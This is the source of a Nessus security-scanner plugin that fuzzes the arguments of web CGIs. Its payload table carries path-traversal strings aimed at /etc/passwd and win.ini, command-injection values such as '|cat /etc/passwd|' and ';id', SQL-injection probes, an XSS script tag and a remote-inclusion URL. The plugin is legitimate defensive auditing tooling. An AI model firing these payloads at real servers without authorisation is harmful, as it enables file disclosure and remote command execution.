home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / torturecgis.nasl < prev    next >
Text File  |  2005-01-14  |  9KB  |  320 lines

  1. #
  2. # TORTURECGIS
  3. #
  4. #
  5. # Written by Renaud Deraison <deraison@nessus.org>
  6. #
  7. #
  8. # This plugin uses the data collected by webmirror.nasl to try
  9. # to supply bogus values in the remote CGIs. It's not very likely
  10. # to work, but it should simplify the work of a web auditor
  11. #
  12. #
  13. # THIS PLUGIN IS IN ITS ALPHA STAGE.
  14. #
  15. # See the Nessus Scripts License for details
  16. #
  17.  
  18. if(description)
  19. {
  20.  script_id(10672);
  21.  script_version ("$Revision: 1.41 $");
  22. # script_cve_id("CVE-MAP-NOMATCH");
  23.  
  24.  name["english"] = "Unknown CGIs arguments torture";
  25.  name["francais"] = "Unknown CGIs arguments torture";
  26.  script_name(english:name["english"], francais:name["francais"]);
  27.  
  28.  desc["english"] = "
  29. This script 'tortures' the arguments of the remote CGIs
  30. by attempting to pass common CGI programming errors as
  31. arguments (../../etc/passwd et al.).
  32.  
  33. *** IN NO WAY THIS SCRIPT IS AS GOOD AS A HUMAN BEING TO
  34. *** DO THIS KIND OF JOB
  35.  
  36. Risk factor : None to High";
  37.  
  38.  
  39.  
  40.  script_description(english:desc["english"]);
  41.  
  42.  summary["english"] = "Tortures the arguments of the remote CGIs";
  43.  
  44.  
  45.  script_summary(english:summary["english"]);
  46.  
  47.  script_category(ACT_DESTRUCTIVE_ATTACK); # Will mess the remote server
  48.  
  49.  
  50.  script_copyright(english:"This script is Copyright (C) 2001 Renaud Deraison",
  51.         francais:"Ce script est Copyright (C) 2001 Renaud Deraison");
  52.  family["english"] = "CGI abuses";
  53.  family["francais"] = "Abus de CGI";
  54.  script_family(english:family["english"], francais:family["francais"]);
  55.  script_dependencie("find_service.nes", "httpver.nasl", "webmirror.nasl");
  56.  script_require_ports("Services/www", 80);
  57.  script_timeout(360); 
  58.  
  59.  script_add_preference(name:"Send POST requests",
  60.                        type:"checkbox", value:"no");
  61.  
  62.  exit(0);
  63. }
  64.  
  65.  
  66. include("http_func.inc");
  67. include("http_keepalive.inc");
  68.  
  69.  
  70. success = "";
  71. pricereport = "";
  72.  
  73.  
  74. do_post = script_get_preference("Send POST requests");
  75. if ( do_post && "yes" >< do_post ) do_post = 1;
  76. else do_post = 0;
  77.  
  78. function test(req, pattern)
  79. {
  80.  local_var str, r;
  81. # display(req, "\n");
  82.  
  83.  str = http_get(item:req, port:port);
  84.  r = http_keepalive_send_recv(port:port, data:str);
  85. # display(r);
  86.  if ( r == NULL ) exit(0);
  87.  if(egrep(pattern:pattern, string:r))
  88.         {
  89.       success = success + string("\n") + req;
  90.      r = 0;
  91.      }
  92.  return(0);
  93. }
  94.  
  95.  
  96. function test_post(req, pattern)
  97. {
  98.  local_var str, r, variables;
  99. # display(req, "\n");
  100.  
  101.  variables = ereg_replace(pattern:"^([^\?])\?(.*)", replace:"\2", string:req);
  102.  req = ereg_replace(pattern:"^([^\?])\?(.*)", replace:"\1", string:req);
  103.  
  104.  str = string("POST ", req, " HTTP/1.1\r\n", 
  105.               "Host: ", host, ":", port, "\r\n", 
  106.               "Content-Type: application/x-www-form-urlencoded\r\n", 
  107.               "Content-Length: ", strlen(variables), "\r\n\r\n", variables);
  108.  
  109.  r = http_keepalive_send_recv(port:port, data:str);
  110. # display(r);
  111.  if ( r == NULL ) exit(0);
  112.  if(egrep(pattern:pattern, string:r))
  113.         {
  114.       success = success + string("\n") + req;
  115.      r = 0;
  116.      }
  117.  return(0);
  118. }
  119.  
  120.  
  121. port = get_http_port(default:80);
  122.  
  123. if(!get_port_state(port))exit(0);
  124.  
  125.  
  126. # The syntax is :
  127. # argument                        expected result
  128.  
  129.  
  130. #------------------------------#
  131. # Remote file listing (20pts)  #
  132. #------------------------------#
  133. flaws[0]="/etc/passwd";                    pat[0]="root:.*:0:[01]:";
  134. flaws[1]="../../../../../../../../etc/passwd";            pat[1]=pat[0];
  135. flaws[2]="../../../../../../../../etc/passwd%00";        pat[2]=pat[0];
  136. flaws[3]="../../../../../../../../etc/passwd%00.html";        pat[3]=pat[0];
  137. flaws[4]="../../../../../../../../etc/passwd%00index.html";     pat[4]=pat[0];
  138. flaws[5]="%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd";
  139.                                 pat[5]=pat[0];
  140.  # (this one is ../../../etc/passwd uuencoded - at least one cgi was vulnerable to this)        
  141. flaws[6]="Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAo=";        pat[6]=pat[0];
  142. flaws[7]="%60/etc/passwd%60";                    pat[7]=pat[0];
  143.  
  144. flaws[8]=string("..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini");    pat[8]="\[windows\]";
  145. flaws[9]=string("..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini");    pat[9]="\[fonts\]";
  146. flaws[10]="../../../../../../../../windows/win.ini";            pat[10]="\[windows\]";
  147. flaws[11]="../../../../../../../../winnt/win.ini";            pat[11]="\[fonts\]";
  148.  
  149.  
  150.  
  151. #----------------------------#
  152. # Directory listing (10pts ) #
  153. #----------------------------#
  154. flaws[12]="/etc";                        pat[12]="resolv\.conf";
  155. flaws[13]="../../../../../../../../etc";            pat[13]="resolv\.conf";
  156. flaws[14]="..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc";    pat[14]="resolv\.conf";
  157. flaws[15]="%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc";
  158.                                 pat[15]="resolv\.conf";
  159.                                 
  160. flaws[16]="../../../../../../../winnt";                pat[16]="win\.ini";
  161. flaws[17]="../../../../../../../windows";            pat[17]="win\.ini";
  162. flaws[18]=string("..\\..\\..\\..\\..\\..\\..\\windows");    pat[18]="win\.ini";
  163. flaws[19]=string("..\\..\\..\\..\\..\\..\\..\\winnt");        pat[19]="win\.ini";
  164.                     
  165.  
  166. #------------------------------#
  167. # Arbitrary commands (100 pts) #
  168. #------------------------------#
  169. flaws[20]="%0Acat%20/etc/passwd";                pat[20]=pat[0];
  170. flaws[21]="|cat%20/etc/passwd|";                pat[21]=pat[0];
  171. flaws[22]="x%0Acat%20/etc/passwd";                pat[22]=pat[0];
  172. flaws[23]="%3Bid";                        pat[23]="uid=[0-9]";
  173. flaws[24]="|/bin/id";                        pat[24]=pat[23];
  174. flaws[25]="|/usr/bin/id";                    pat[25]=pat[23];
  175. flaws[26]="|id|";                        pat[26]=pat[23];
  176. flaws[27]="VALUE;/bin/id";                    pat[27]=pat[23];
  177. flaws[28]="VALUE;/usr/bin/id";                    pat[28]=pat[23];
  178. flaws[29]="VALUE%0Acat%20/etc/passwd";                pat[29]=pat[23];
  179. flaws[30]="VALUE%20|%20dir";                    pat[30]="<DIR>";
  180.  
  181.  
  182. #
  183. # SQL stuff
  184. flaws[31]="whatever)";                        pat[31]="PL/SQL";
  185. flaws[32]="'";                            pat[32]="MySQL query";
  186.  
  187.  
  188. # XSS (0pt)
  189. flaws[33]="<script>alert('foo');</script>";            pat[33]="<script>alert\('foo'\);</script>";
  190.  
  191. #
  192. # Code injection
  193. flaws[34]="http://xxxxxxxxxxxx/";                pat[34]="http://xxxxxxxxxxxx//?[a-z,A-Z,0-9]";
  194.  
  195.  
  196.  
  197. cgis = get_kb_list(string("www/", port, "/cgis"));
  198. if(isnull(cgis))exit(0);
  199.  
  200. # As get_kb_list may return an array with duplicated keys, we call
  201. # make_list() to clean it, just in case.
  202. cgis = make_list(cgis);
  203.  
  204. foreach cgi (cgis)
  205. {
  206.  cgi_name = ereg_replace(string:cgi,
  207.               pattern:"(.*) - .*",
  208.              replace:"\1");
  209.  cgi = cgi - cgi_name;
  210.  cgi = cgi - string(" - ");
  211.  
  212.  
  213.  
  214.  
  215.  num_args = 0;
  216.  while(cgi)
  217.  {
  218.   args[num_args] = ereg_replace(string:cgi,
  219.                   pattern:"([^ ]*).*",
  220.                 replace:"\1");
  221.   if(!args[num_args])
  222.   {
  223.    cgi = "";
  224.   }    
  225.  else
  226.   {
  227.   cgi = cgi - args[num_args];
  228.   cgi = cgi - " ";
  229.   }
  230.   
  231.   str = string(args[num_args]);
  232.   if(ereg(pattern:"^\[.*", string:str))
  233.   {
  234.    tmp = string(ereg_replace(pattern:"^\[(.*)\]",
  235.                     string:str,
  236.                 replace:"\1"));                    
  237.    vals[num_args - 1] = tmp;
  238.    if(ereg(pattern:"[0-9]*\$[0-9]*", string:tmp))
  239.    {
  240.     pricereport = string(pricereport,
  241.         args[num_args - 1], " - ", tmp, "\n");
  242.     
  243.    }            
  244.   }
  245.   else {
  246.      vals[num_args] = 0;
  247.     num_args = num_args + 1;
  248.     }
  249.  }
  250.  
  251.  
  252.  #
  253.  # Some e-commerce sites have the prices of the items used as hidden values.
  254.  # which is a big no-no
  255.  #
  256.  if(strlen(pricereport))
  257.  {
  258.   report = string("The cgi '", cgi_name, "' seems to pass object prices as values for the following\n",
  259. "arguments :\n",
  260. pricereport,
  261. "\n",
  262. "If that proves to be exact, an attacker may use this flaw to buy goods on the remote site at\n",
  263. "the prices he choose.\n",
  264. "Solution : never rely on data passed by the client when writing a CGI\n",
  265. "Risk factor : High\n",
  266. "Note : this alert is very likely to be a false positive");
  267.  security_warning(port:port, data:report);
  268.  }
  269.  
  270.  if(num_args)
  271.  { 
  272.  for(i=0;i<num_args;i=i+1)
  273.  {
  274.   for(j=0;flaws[j];j=j+1)
  275.   {
  276.    req = "";
  277.    for(k=0;k<num_args;k=k+1)
  278.    {
  279.     if(!(k == i))
  280.     {
  281.      if(strlen(vals[k]))
  282.       _def = string(vals[k]);
  283.      else
  284.       _def = string("nessus");
  285.       
  286.      req = string(req, string(args[k]), "=", _def, "&");
  287.     }
  288.    }
  289.    fl = ereg_replace(string:flaws[j], pattern:"VALUE",
  290.              replace:vals[i]);
  291.    req = string(string(cgi_name), "?", req, string(args[i]), "=") + fl;
  292.    test(req:req, pattern:pat[j]);
  293.    if ( do_post ) test_post(req:req, pattern:pat[j]);
  294.   }
  295.  }
  296.  }
  297.  else
  298.  {
  299.   for(j=0;flaws[j];j=j+1)
  300.   {
  301.    fl = ereg_replace(string:flaws[j], pattern:"VALUE",
  302.              replace:"nessus");
  303.    req = string(cgi_name, "?") + fl;
  304.    test(req:req,pattern:pat[j]);
  305.    if ( do_post ) test_post(req:req,pattern:pat[j]);
  306.    }
  307.  }
  308. }
  309.  
  310. if(strlen(success))
  311. {
  312. report = string("The following requests seem to allow the reading of\n",
  313. "sensitive files or XSS. You should manually try them to see if anything bad happens : ", success);
  314.  security_hole(port:port, data:report);
  315. }             
  316.